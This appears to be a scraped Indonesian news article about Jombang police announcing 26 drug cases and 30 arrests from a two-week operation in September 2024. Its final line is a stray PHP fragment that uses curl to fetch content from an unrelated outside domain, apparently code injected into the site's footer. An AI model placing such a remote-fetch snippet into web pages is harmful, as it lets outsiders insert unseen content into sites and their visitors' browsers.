Polres Jombang Ungkap 26 Kasus Narkoba Dalam Dua Pekam

Selasa, 24 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jombang | jejakkasus.info – Dua pekan melaksanakan operasi tumpas narkoba 2024, jajaran Polres Jombang, berhasil mengungkap 26 kasus narkoba di kota santri, dengan pelaku yang diamanakan sebanyak 30 orang.

Kasat Resnarkoba Polres Jombang, AKP Ahmad Yani mengtakan, Operasi ini dilakukan sejak tangga 11 – 23 September 2024.

“Hasil operasi selama dua pekan, Polres Jombang melalui tim gabungan Satreskoba beserta jajarannya berhasil mengungkap 26 kasus dengan 30 tersangka.” Ujarnya saat Konferensi Pers di Mapolres Jombang pada Senin, pada Senin (23/9/2024).

Baca Juga:  Sekda Nias Hadiri Rakor Teknis Percepatan Penurunan Stunting.

Ia merincikan, tim gabungan Satresnarkoba berhasil mengungkap 13 kasus dengan 17 tersangka, kategori narkotika 11 kasus dengan 15 tersangka, dan katgori Obat berbahaya (Okerbaya) 2 kasus dengan 2 tersangka.

“Sedangkan, Polsek jajarannya berhasil mengungkap 13 kasus dengan 13 tersangka yaitu kasus okerbaya.” Ungkap Yani.

Yani juga menjelaskan, dalam operasi tersebut, diamankan sejumlah barang bukti diantaranya 55.53 gram sabu-sabu, 30 ribu butir pil koplo, dengan akumulasi barang bukti sitaan terbesar diperoleh dari pelaku seorang residivis inisial WAG, sebanyak 25 ribu butir pil koplo.

Baca Juga:  Personil Polres Tabanan Ikuti Ceramah Kesehatan Pengendalian Wabah Tanpa Vaksinasi

“Selain mengedarkan pil koplo, WAG juga mengedarkan sabu di wilayah Jombang dan sekitarnya,” Ujarnya.

Ia menambahkan, dalam operasi tersebut juga muncul kasus yang paling menonjol yakni ungkap kasus sabu-sabu dengan pelaku inisial AR, kemudian dilakukan pengembangan menyeret pelaku lain dengan barang bukti lumayan banyak.

Baca Juga:  Tengki PT. Dharma Luhur Wicaksana diduga Dalang Penyulingan dan Pengoplosan Minyak Mentah ilegal di Bleboh, Kecamatan Jiken, Kabupaten Blora

“Pertama kita tangkap satu orang berinisial AR, di wilayah Kecamatan Plandaan, Jombang. Kemudian kita kembangkan dan berhasil menangkap MS, warga Plandaan. Dari pengakuan MS, mendapat barang (sabu) dari RW, disana berhasil menyita 29 gram sabu, dengan sistem ranjau,” Ujarnya.

Atas pengungkap 26 kasus narkoba ini, semua pelaku harus mempertanggungjawabkan perbuatannya sesuai dengan perundang-undangan yang berlaku. Saat ini semua pelaku sudah tahan di Mapolres Jombang. Imbuhnya. (Masruroh – JK*)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari
M. Syarif Hidayatullah Resmi Dilantik Sebagai Wakil Ketua III DPRD Kabupaten Jombang

Berita Terkait

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Kamis, 10 Oktober 2024 - 21:28 WIB

Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>